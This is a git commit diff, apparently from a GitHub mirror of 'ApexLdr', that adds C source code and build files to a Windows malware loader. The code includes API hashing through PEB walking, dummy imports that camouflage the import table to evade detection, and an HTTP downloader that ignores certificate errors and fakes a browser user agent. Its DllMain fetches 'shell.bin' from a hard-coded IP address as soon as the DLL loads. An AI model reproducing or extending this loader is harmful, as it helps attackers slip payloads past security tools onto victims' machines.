mirror of
https://github.com/Cipher7/ApexLdr
synced 2026-06-06 15:24:30 +00:00
common features added
This commit is contained in:
Cipher
@@ -8,6 +8,13 @@ include_directories(include)
|
||||
|
||||
set(APEXLDR_SRC
|
||||
src/dllmain.c
|
||||
include/typedef.h
|
||||
include/common.h
|
||||
src/downloader.c
|
||||
src/iatcamo.c
|
||||
src/winapi.c
|
||||
include/structs.h
|
||||
src/apihashing.c
|
||||
)
|
||||
|
||||
add_executable(ApexLdr ${APEXLDR_SRC})
|
||||
|
||||
+1
-1
@@ -39,7 +39,7 @@
|
||||
{
|
||||
"directoryIndex" : 0,
|
||||
"id" : "ApexLdr::@6890427a1f51a3e7e1df",
|
||||
"jsonFile" : "target-ApexLdr-Debug-64748bef60358072a674.json",
|
||||
"jsonFile" : "target-ApexLdr-Debug-8b057ca7a4d0b0023ec6.json",
|
||||
"name" : "ApexLdr",
|
||||
"projectIndex" : 0
|
||||
}
|
||||
+2
-2
@@ -26,7 +26,7 @@
|
||||
"objects" :
|
||||
[
|
||||
{
|
||||
"jsonFile" : "codemodel-v2-688fed12a574423a3a18.json",
|
||||
"jsonFile" : "codemodel-v2-73772e2144584d4f8d38.json",
|
||||
"kind" : "codemodel",
|
||||
"version" :
|
||||
{
|
||||
@@ -86,7 +86,7 @@
|
||||
},
|
||||
"codemodel-v2" :
|
||||
{
|
||||
"jsonFile" : "codemodel-v2-688fed12a574423a3a18.json",
|
||||
"jsonFile" : "codemodel-v2-73772e2144584d4f8d38.json",
|
||||
"kind" : "codemodel",
|
||||
"version" :
|
||||
{
|
||||
+60
-4
@@ -26,13 +26,13 @@
|
||||
{
|
||||
"command" : 0,
|
||||
"file" : 0,
|
||||
"line" : 13,
|
||||
"line" : 20,
|
||||
"parent" : 0
|
||||
},
|
||||
{
|
||||
"command" : 1,
|
||||
"file" : 0,
|
||||
"line" : 14,
|
||||
"line" : 21,
|
||||
"parent" : 0
|
||||
},
|
||||
{
|
||||
@@ -110,7 +110,11 @@
|
||||
},
|
||||
"sourceIndexes" :
|
||||
[
|
||||
0
|
||||
0,
|
||||
3,
|
||||
4,
|
||||
5,
|
||||
7
|
||||
]
|
||||
}
|
||||
],
|
||||
@@ -143,7 +147,20 @@
|
||||
"name" : "Source Files",
|
||||
"sourceIndexes" :
|
||||
[
|
||||
0
|
||||
0,
|
||||
3,
|
||||
4,
|
||||
5,
|
||||
7
|
||||
]
|
||||
},
|
||||
{
|
||||
"name" : "Header Files",
|
||||
"sourceIndexes" :
|
||||
[
|
||||
1,
|
||||
2,
|
||||
6
|
||||
]
|
||||
}
|
||||
],
|
||||
@@ -154,6 +171,45 @@
|
||||
"compileGroupIndex" : 0,
|
||||
"path" : "src/dllmain.c",
|
||||
"sourceGroupIndex" : 0
|
||||
},
|
||||
{
|
||||
"backtrace" : 1,
|
||||
"path" : "include/typedef.h",
|
||||
"sourceGroupIndex" : 1
|
||||
},
|
||||
{
|
||||
"backtrace" : 1,
|
||||
"path" : "include/common.h",
|
||||
"sourceGroupIndex" : 1
|
||||
},
|
||||
{
|
||||
"backtrace" : 1,
|
||||
"compileGroupIndex" : 0,
|
||||
"path" : "src/downloader.c",
|
||||
"sourceGroupIndex" : 0
|
||||
},
|
||||
{
|
||||
"backtrace" : 1,
|
||||
"compileGroupIndex" : 0,
|
||||
"path" : "src/iatcamo.c",
|
||||
"sourceGroupIndex" : 0
|
||||
},
|
||||
{
|
||||
"backtrace" : 1,
|
||||
"compileGroupIndex" : 0,
|
||||
"path" : "src/winapi.c",
|
||||
"sourceGroupIndex" : 0
|
||||
},
|
||||
{
|
||||
"backtrace" : 1,
|
||||
"path" : "include/structs.h",
|
||||
"sourceGroupIndex" : 1
|
||||
},
|
||||
{
|
||||
"backtrace" : 1,
|
||||
"compileGroupIndex" : 0,
|
||||
"path" : "src/apihashing.c",
|
||||
"sourceGroupIndex" : 0
|
||||
}
|
||||
],
|
||||
"type" : "EXECUTABLE"
|
||||
@@ -56,6 +56,34 @@ build CMakeFiles/ApexLdr.dir/src/dllmain.c.o: C_COMPILER__ApexLdr_unscanned_Debu
|
||||
OBJECT_DIR = CMakeFiles/ApexLdr.dir
|
||||
OBJECT_FILE_DIR = CMakeFiles/ApexLdr.dir/src
|
||||
|
||||
build CMakeFiles/ApexLdr.dir/src/downloader.c.o: C_COMPILER__ApexLdr_unscanned_Debug /home/cipher/Desktop/ApexLdr/ApexLdr/src/downloader.c || cmake_object_order_depends_target_ApexLdr
|
||||
DEP_FILE = CMakeFiles/ApexLdr.dir/src/downloader.c.o.d
|
||||
FLAGS = -g -std=gnu11 -fdiagnostics-color=always -s -w -static -fpermissive -Wl,--subsystem,console -nostdlib -Wl,--entry=\"Main\" -lkernel32 -luser32 -masm=intel
|
||||
INCLUDES = -I/home/cipher/Desktop/ApexLdr/ApexLdr/include
|
||||
OBJECT_DIR = CMakeFiles/ApexLdr.dir
|
||||
OBJECT_FILE_DIR = CMakeFiles/ApexLdr.dir/src
|
||||
|
||||
build CMakeFiles/ApexLdr.dir/src/iatcamo.c.o: C_COMPILER__ApexLdr_unscanned_Debug /home/cipher/Desktop/ApexLdr/ApexLdr/src/iatcamo.c || cmake_object_order_depends_target_ApexLdr
|
||||
DEP_FILE = CMakeFiles/ApexLdr.dir/src/iatcamo.c.o.d
|
||||
FLAGS = -g -std=gnu11 -fdiagnostics-color=always -s -w -static -fpermissive -Wl,--subsystem,console -nostdlib -Wl,--entry=\"Main\" -lkernel32 -luser32 -masm=intel
|
||||
INCLUDES = -I/home/cipher/Desktop/ApexLdr/ApexLdr/include
|
||||
OBJECT_DIR = CMakeFiles/ApexLdr.dir
|
||||
OBJECT_FILE_DIR = CMakeFiles/ApexLdr.dir/src
|
||||
|
||||
build CMakeFiles/ApexLdr.dir/src/winapi.c.o: C_COMPILER__ApexLdr_unscanned_Debug /home/cipher/Desktop/ApexLdr/ApexLdr/src/winapi.c || cmake_object_order_depends_target_ApexLdr
|
||||
DEP_FILE = CMakeFiles/ApexLdr.dir/src/winapi.c.o.d
|
||||
FLAGS = -g -std=gnu11 -fdiagnostics-color=always -s -w -static -fpermissive -Wl,--subsystem,console -nostdlib -Wl,--entry=\"Main\" -lkernel32 -luser32 -masm=intel
|
||||
INCLUDES = -I/home/cipher/Desktop/ApexLdr/ApexLdr/include
|
||||
OBJECT_DIR = CMakeFiles/ApexLdr.dir
|
||||
OBJECT_FILE_DIR = CMakeFiles/ApexLdr.dir/src
|
||||
|
||||
build CMakeFiles/ApexLdr.dir/src/apihashing.c.o: C_COMPILER__ApexLdr_unscanned_Debug /home/cipher/Desktop/ApexLdr/ApexLdr/src/apihashing.c || cmake_object_order_depends_target_ApexLdr
|
||||
DEP_FILE = CMakeFiles/ApexLdr.dir/src/apihashing.c.o.d
|
||||
FLAGS = -g -std=gnu11 -fdiagnostics-color=always -s -w -static -fpermissive -Wl,--subsystem,console -nostdlib -Wl,--entry=\"Main\" -lkernel32 -luser32 -masm=intel
|
||||
INCLUDES = -I/home/cipher/Desktop/ApexLdr/ApexLdr/include
|
||||
OBJECT_DIR = CMakeFiles/ApexLdr.dir
|
||||
OBJECT_FILE_DIR = CMakeFiles/ApexLdr.dir/src
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Link build statements for EXECUTABLE target ApexLdr
|
||||
@@ -64,7 +92,7 @@ build CMakeFiles/ApexLdr.dir/src/dllmain.c.o: C_COMPILER__ApexLdr_unscanned_Debu
|
||||
#############################################
|
||||
# Link the executable ApexLdr
|
||||
|
||||
build ApexLdr: C_EXECUTABLE_LINKER__ApexLdr_Debug CMakeFiles/ApexLdr.dir/src/dllmain.c.o
|
||||
build ApexLdr: C_EXECUTABLE_LINKER__ApexLdr_Debug CMakeFiles/ApexLdr.dir/src/dllmain.c.o CMakeFiles/ApexLdr.dir/src/downloader.c.o CMakeFiles/ApexLdr.dir/src/iatcamo.c.o CMakeFiles/ApexLdr.dir/src/winapi.c.o CMakeFiles/ApexLdr.dir/src/apihashing.c.o
|
||||
FLAGS = -g
|
||||
OBJECT_DIR = CMakeFiles/ApexLdr.dir
|
||||
POST_BUILD = :
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "typedef.h"
|
||||
|
||||
//global variables
|
||||
extern unsigned char* pPayload;
|
||||
extern PSTR url;
|
||||
extern PSTR endpoint;
|
||||
extern SIZE_T sSize;
|
||||
|
||||
// winapi.c
|
||||
#define INITIAL_SEED 8
|
||||
|
||||
UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String);
|
||||
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String);
|
||||
|
||||
#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API))
|
||||
#define HASHW(API) (HashStringJenkinsOneAtATime32BitW((PWCHAR) API))
|
||||
|
||||
typedef struct _API_HASHING {
|
||||
fnGetTickCount64 pGetTickCount64;
|
||||
fnInternetOpenA pInternetOpenA;
|
||||
fnInternetConnectA pInternetConnectA;
|
||||
fnHttpOpenRequestA pHttpOpenRequestA;
|
||||
fnInternetSetOptionA pInternetSetOptionA;
|
||||
fnHttpSendRequestA pHttpSendRequestA;
|
||||
fnInternetReadFile pInternetReadFile;
|
||||
fnInternetCloseHandle pInternetCloseHandle;
|
||||
fnLoadLibraryA pLoadLibraryA;
|
||||
} API_HASHING, * PAPI_HASHING;
|
||||
|
||||
// inject.c
|
||||
|
||||
|
||||
// apihashing.c
|
||||
FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash);
|
||||
HMODULE GetModuleHandleH(DWORD dwModuleNameHash);
|
||||
|
||||
// apihammer.c
|
||||
BOOL ApiHammering(DWORD Stress);
|
||||
|
||||
// downloader.c
|
||||
DWORD Download(char** response, PVOID url, PVOID endpoint, BOOL ssl);
|
||||
|
||||
//iatcamo.c
|
||||
VOID IatCamouflage();
|
||||
@@ -0,0 +1,151 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, * PUNICODE_STRING;
|
||||
|
||||
typedef struct _PEB_LDR_DATA {
|
||||
ULONG Length;
|
||||
ULONG Initialized;
|
||||
PVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
typedef struct _RTL_DRIVE_LETTER_CURDIR {
|
||||
USHORT Flags;
|
||||
USHORT Length;
|
||||
ULONG TimeStamp;
|
||||
UNICODE_STRING DosPath;
|
||||
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
|
||||
|
||||
typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);
|
||||
|
||||
typedef void* PPVOID;
|
||||
|
||||
typedef struct _RTL_USER_PROCESS_PARAMETERS {
|
||||
ULONG MaximumLength;
|
||||
ULONG Length;
|
||||
ULONG Flags;
|
||||
ULONG DebugFlags;
|
||||
PVOID ConsoleHandle;
|
||||
ULONG ConsoleFlags;
|
||||
HANDLE StdInputHandle;
|
||||
HANDLE StdOutputHandle;
|
||||
HANDLE StdErrorHandle;
|
||||
UNICODE_STRING CurrentDirectoryPath;
|
||||
HANDLE CurrentDirectoryHandle;
|
||||
UNICODE_STRING DllPath;
|
||||
UNICODE_STRING ImagePathName;
|
||||
UNICODE_STRING CommandLine;
|
||||
PVOID Environment;
|
||||
ULONG StartingPositionLeft;
|
||||
ULONG StartingPositionTop;
|
||||
ULONG Width;
|
||||
ULONG Height;
|
||||
ULONG CharWidth;
|
||||
ULONG CharHeight;
|
||||
ULONG ConsoleTextAttributes;
|
||||
ULONG WindowFlags;
|
||||
ULONG ShowWindowFlags;
|
||||
UNICODE_STRING WindowTitle;
|
||||
UNICODE_STRING DesktopName;
|
||||
UNICODE_STRING ShellInfo;
|
||||
UNICODE_STRING RuntimeData;
|
||||
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
|
||||
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
|
||||
|
||||
typedef PVOID PACTIVATION_CONTEXT;
|
||||
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY {
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
ULONG Flags;
|
||||
WORD LoadCount;
|
||||
WORD TlsIndex;
|
||||
union {
|
||||
LIST_ENTRY HashLinks;
|
||||
struct {
|
||||
PVOID SectionPointer;
|
||||
ULONG CheckSum;
|
||||
};
|
||||
};
|
||||
union {
|
||||
ULONG TimeDateStamp;
|
||||
PVOID LoadedImports;
|
||||
};
|
||||
PACTIVATION_CONTEXT EntryPointActivationContext;
|
||||
PVOID PatchInformation;
|
||||
LIST_ENTRY ForwarderLinks;
|
||||
LIST_ENTRY ServiceTagLinks;
|
||||
LIST_ENTRY StaticLinks;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _PEB {
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
BOOLEAN Spare;
|
||||
HANDLE Mutant;
|
||||
PVOID ImageBase;
|
||||
PPEB_LDR_DATA LoaderData;
|
||||
PVOID ProcessParameters;
|
||||
PVOID SubSystemData;
|
||||
PVOID ProcessHeap;
|
||||
PVOID FastPebLock;
|
||||
PVOID FastPebLockRoutine;
|
||||
PVOID FastPebUnlockRoutine;
|
||||
ULONG EnvironmentUpdateCount;
|
||||
PVOID * KernelCallbackTable;
|
||||
PVOID EventLogSection;
|
||||
PVOID EventLog;
|
||||
PVOID FreeList;
|
||||
ULONG TlsExpansionCounter;
|
||||
PVOID TlsBitmap;
|
||||
ULONG TlsBitmapBits[0x2];
|
||||
PVOID ReadOnlySharedMemoryBase;
|
||||
PVOID ReadOnlySharedMemoryHeap;
|
||||
PVOID * ReadOnlyStaticServerData;
|
||||
PVOID AnsiCodePageData;
|
||||
PVOID OemCodePageData;
|
||||
PVOID UnicodeCaseTableData;
|
||||
ULONG NumberOfProcessors;
|
||||
ULONG NtGlobalFlag;
|
||||
BYTE Spare2[0x4];
|
||||
LARGE_INTEGER CriticalSectionTimeout;
|
||||
ULONG HeapSegmentReserve;
|
||||
ULONG HeapSegmentCommit;
|
||||
ULONG HeapDeCommitTotalFreeThreshold;
|
||||
ULONG HeapDeCommitFreeBlockThreshold;
|
||||
ULONG NumberOfHeaps;
|
||||
ULONG MaximumNumberOfHeaps;
|
||||
PVOID ** ProcessHeaps;
|
||||
PVOID GdiSharedHandleTable;
|
||||
PVOID ProcessStarterHelper;
|
||||
PVOID GdiDCAttributeList;
|
||||
PVOID LoaderLock;
|
||||
ULONG OSMajorVersion;
|
||||
ULONG OSMinorVersion;
|
||||
ULONG OSBuildNumber;
|
||||
ULONG OSPlatformId;
|
||||
ULONG ImageSubSystem;
|
||||
ULONG ImageSubSystemMajorVersion;
|
||||
ULONG ImageSubSystemMinorVersion;
|
||||
ULONG GdiHandleBuffer[0x22];
|
||||
ULONG PostProcessInitRoutine;
|
||||
ULONG TlsExpansionBitmap;
|
||||
BYTE TlsExpansionBitmapBits[0x80];
|
||||
ULONG SessionId;
|
||||
} PEB, * PPEB;
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
|
||||
typedef HINTERNET(WINAPI* fnInternetOpenA)(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags);
|
||||
|
||||
typedef ULONGLONG(WINAPI* fnGetTickCount64)();
|
||||
|
||||
typedef HINTERNET(WINAPI* fnInternetConnectA)(HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUsername, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext);
|
||||
|
||||
typedef HINTERNET(WINAPI* fnHttpOpenRequestA)(HINTERNET hConnect, LPCSTR lpszVerb, LPCSTR lpszObjectName, LPCSTR lpszVersion, LPCSTR lpszReferrer, LPCSTR* lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext);
|
||||
|
||||
typedef BOOL(WINAPI* fnInternetSetOptionA)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength);
|
||||
|
||||
typedef BOOL(WINAPI* fnHttpSendRequestA)(HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength);
|
||||
|
||||
typedef BOOL(WINAPI* fnInternetReadFile)(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead);
|
||||
|
||||
typedef BOOL(WINAPI* fnInternetCloseHandle)(HINTERNET hInternet);
|
||||
|
||||
typedef HMODULE(WINAPI* fnLoadLibraryA)(LPCSTR lpLibFileName);
|
||||
@@ -0,0 +1,82 @@
|
||||
#include <windows.h>
|
||||
|
||||
#include "structs.h"
|
||||
#include "common.h"
|
||||
|
||||
FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash)
|
||||
{
|
||||
if (hModule == NULL || dwApiNameHash == NULL)
|
||||
return NULL;
|
||||
|
||||
PBYTE pBase = (PBYTE)hModule;
|
||||
|
||||
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
|
||||
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
|
||||
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;
|
||||
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
|
||||
PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
|
||||
PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
|
||||
|
||||
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
|
||||
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
|
||||
PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
|
||||
|
||||
// printf(":: %s :: 0x%0.8X\n", pFunctionName, HASHA(pFunctionName));
|
||||
|
||||
if (dwApiNameHash == HASHA(pFunctionName)) {
|
||||
return pFunctionAddress;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {
|
||||
|
||||
if (dwModuleNameHash == NULL)
|
||||
return NULL;
|
||||
|
||||
#ifdef _WIN64
|
||||
PPEB pPeb = (PEB*)(__readgsqword(0x60));
|
||||
#elif _WIN32
|
||||
PPEB pPeb = (PEB*)(__readfsdword(0x30));
|
||||
#endif
|
||||
|
||||
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->LoaderData);
|
||||
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
|
||||
|
||||
while (pDte) {
|
||||
|
||||
if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH)
|
||||
{
|
||||
CHAR UpperCaseDllName[MAX_PATH];
|
||||
|
||||
DWORD i = 0;
|
||||
while (pDte->FullDllName.Buffer[i])
|
||||
{
|
||||
UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]);
|
||||
i++;
|
||||
}
|
||||
UpperCaseDllName[i] = '\0';
|
||||
// printf(":: %s :: 0x%0.8X\n",UpperCaseDllName, HASHA(UpperCaseDllName));
|
||||
if (HASHA(UpperCaseDllName) == dwModuleNameHash)
|
||||
return (HMODULE)(pDte->InInitializationOrderLinks.Flink);
|
||||
|
||||
}
|
||||
else {
|
||||
break;
|
||||
}
|
||||
|
||||
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
@@ -1,10 +1,23 @@
|
||||
#include <windows.h>
|
||||
#include "common.h"
|
||||
|
||||
unsigned char* pPayload = NULL;
|
||||
PSTR url = "192.168.231.130";
|
||||
PSTR endpoint = "shell.bin";
|
||||
SIZE_T sSize = -1;
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
sSize = Download(&pPayload, url, endpoint, FALSE);
|
||||
if(sSize == -1)
|
||||
{
|
||||
printf("[!] Failed to fetch payload from server!\n");
|
||||
return FALSE;
|
||||
}
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#pragma comment(lib, "wininet.lib")
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#define InternetOpenA_JOAA 0x154BE30F
|
||||
#define InternetConnectA_JOAA 0x51CC39CF
|
||||
#define HttpOpenRequestA_JOAA 0x03084192
|
||||
#define InternetSetOptionA_JOAA 0xD8C64F22
|
||||
#define HttpSendRequestA_JOAA 0xA14CFDA5
|
||||
#define InternetReadFile_JOAA 0xF1FF9642
|
||||
#define InternetCloseHandle_JOAA 0x9E679473
|
||||
#define GetTickCount64_JOAA 0x00BB616E
|
||||
#define LoadLibraryA_JOAA 0x54C1D227
|
||||
#define KERNEL32DLL_JOAA 0xFD2AD9BD
|
||||
#define WININETDLL_JOAA 0x668CA1EC
|
||||
|
||||
|
||||
API_HASHING g_Api = { 0 };
|
||||
|
||||
DWORD Download(char** response, PVOID url, PVOID endpoint, BOOL ssl)
|
||||
{
|
||||
HANDLE kernerl32_handle = GetModuleHandleH(KERNEL32DLL_JOAA);
|
||||
g_Api.pLoadLibraryA = (fnLoadLibraryA)GetProcAddressH(kernerl32_handle, LoadLibraryA_JOAA);
|
||||
|
||||
HANDLE wininet_handle = g_Api.pLoadLibraryA("wininet.dll");
|
||||
|
||||
g_Api.pInternetOpenA = (fnInternetOpenA)GetProcAddressH(wininet_handle, InternetOpenA_JOAA);
|
||||
g_Api.pInternetConnectA = (fnInternetConnectA)GetProcAddressH(wininet_handle, InternetConnectA_JOAA);
|
||||
g_Api.pHttpOpenRequestA = (fnHttpOpenRequestA)GetProcAddressH(wininet_handle, HttpOpenRequestA_JOAA);
|
||||
g_Api.pInternetSetOptionA = (fnInternetSetOptionA)GetProcAddressH(wininet_handle, InternetSetOptionA_JOAA);
|
||||
g_Api.pHttpSendRequestA = (fnHttpSendRequestA)GetProcAddressH(wininet_handle, HttpSendRequestA_JOAA);
|
||||
g_Api.pInternetReadFile = (fnInternetReadFile)GetProcAddressH(wininet_handle, InternetReadFile_JOAA);
|
||||
g_Api.pInternetCloseHandle = (fnInternetCloseHandle)GetProcAddressH(wininet_handle, InternetCloseHandle_JOAA);
|
||||
g_Api.pGetTickCount64 = (fnGetTickCount64)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), GetTickCount64_JOAA);
|
||||
|
||||
|
||||
if (g_Api.pGetTickCount64 == NULL) printf("GetTickCount64\n");
|
||||
if (g_Api.pInternetOpenA == NULL) printf("InternetOpenA\n");
|
||||
if (g_Api.pInternetConnectA == NULL) printf("InternetConnectA\n");
|
||||
if (g_Api.pHttpOpenRequestA == NULL) printf("HttpOpenRequestA\n");
|
||||
if (g_Api.pInternetSetOptionA == NULL) printf("InternetSetOptionA\n");
|
||||
if (g_Api.pHttpSendRequestA == NULL) printf("HttpSendRequestA\n");
|
||||
if (g_Api.pInternetReadFile == NULL) printf("InternetReadFile\n");
|
||||
if (g_Api.pInternetCloseHandle == NULL) printf("InternetCloseHandle\n");
|
||||
|
||||
|
||||
DWORD bytesRead = 0;
|
||||
DWORD totalBytesRead = 0;
|
||||
const DWORD bufferSize = 1024;
|
||||
char buffer[1024];
|
||||
|
||||
HINTERNET hInternet = g_Api.pInternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
||||
|
||||
if (hInternet == NULL)
|
||||
return -1;
|
||||
|
||||
// connect to remote server
|
||||
HINTERNET hConnect = NULL;
|
||||
if(ssl)
|
||||
hConnect = g_Api.pInternetConnectA(hInternet, url, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)NULL);
|
||||
else
|
||||
hConnect = g_Api.pInternetConnectA(hInternet, url, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)NULL);
|
||||
|
||||
if (hConnect == NULL)
|
||||
{
|
||||
g_Api.pInternetCloseHandle(hInternet);
|
||||
return -1;
|
||||
}
|
||||
|
||||
HINTERNET hRequest = NULL;
|
||||
if(ssl)
|
||||
hRequest = g_Api.pHttpOpenRequestA(hConnect, "GET", endpoint , NULL, NULL, NULL, (INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE), 0);
|
||||
else
|
||||
hRequest = g_Api.pHttpOpenRequestA(hConnect, "GET", endpoint, NULL, NULL, NULL, (INTERNET_FLAG_DONT_CACHE), 0);
|
||||
|
||||
DWORD flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
|
||||
|
||||
g_Api.pInternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS,&flags,sizeof(flags));
|
||||
|
||||
BOOL status = g_Api.pHttpSendRequestA(hRequest,NULL,0,NULL,0);
|
||||
|
||||
DWORD dwBytesRead = NULL;
|
||||
SIZE_T sSize = 0;
|
||||
|
||||
*response = (char*)malloc(1);
|
||||
do {
|
||||
if (g_Api.pInternetReadFile(hRequest, buffer, bufferSize, &bytesRead)) {
|
||||
if (bytesRead > 0) {
|
||||
char* temp = (char*)realloc(*response, totalBytesRead + bytesRead + 1);
|
||||
if (temp == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
else {
|
||||
*response = temp;
|
||||
memcpy(*response + totalBytesRead, buffer, bytesRead);
|
||||
totalBytesRead += bytesRead;
|
||||
(*response)[totalBytesRead] = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
} while (bytesRead > 0);
|
||||
|
||||
g_Api.pInternetCloseHandle(hInternet);
|
||||
g_Api.pInternetCloseHandle(hRequest);
|
||||
return totalBytesRead;
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
#include <windows.h>
|
||||
|
||||
// Generate a random compile-time seed
|
||||
int RandomCompileTimeSeed(void)
|
||||
{
|
||||
return '0' * -40271 +
|
||||
__TIME__[7] * 1 +
|
||||
__TIME__[6] * 10 +
|
||||
__TIME__[4] * 60 +
|
||||
__TIME__[3] * 600 +
|
||||
__TIME__[1] * 3600 +
|
||||
__TIME__[0] * 36000;
|
||||
}
|
||||
|
||||
|
||||
// A dummy function that makes the if-statement in 'IatCamouflage' interesting
|
||||
PVOID Helper(PVOID* ppAddress) {
|
||||
|
||||
PVOID pAddress = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xFF);
|
||||
if (!pAddress)
|
||||
return NULL;
|
||||
|
||||
// setting the first 4 bytes in pAddress to be equal to a random number (less than 255)
|
||||
*(int*)pAddress = RandomCompileTimeSeed() % 0xFF;
|
||||
|
||||
// saving the base address by pointer, and returning it
|
||||
*ppAddress = pAddress;
|
||||
return pAddress;
|
||||
}
|
||||
|
||||
|
||||
// Function that imports WinAPIs but never uses them
|
||||
VOID IatCamouflage() {
|
||||
|
||||
PVOID pAddress = NULL;
|
||||
int* A = (int*)Helper(&pAddress);
|
||||
|
||||
// Impossible if-statement that will never run
|
||||
if (*A > 350) {
|
||||
|
||||
// some random whitelisted WinAPIs
|
||||
unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL);
|
||||
i = GetLastError();
|
||||
i = SetCriticalSectionSpinCount(NULL, NULL);
|
||||
i = GetWindowContextHelpId(NULL);
|
||||
i = GetWindowLongPtrW(NULL, NULL);
|
||||
i = RegisterClassW(NULL);
|
||||
i = IsWindowVisible(NULL);
|
||||
i = ConvertDefaultLocale(NULL);
|
||||
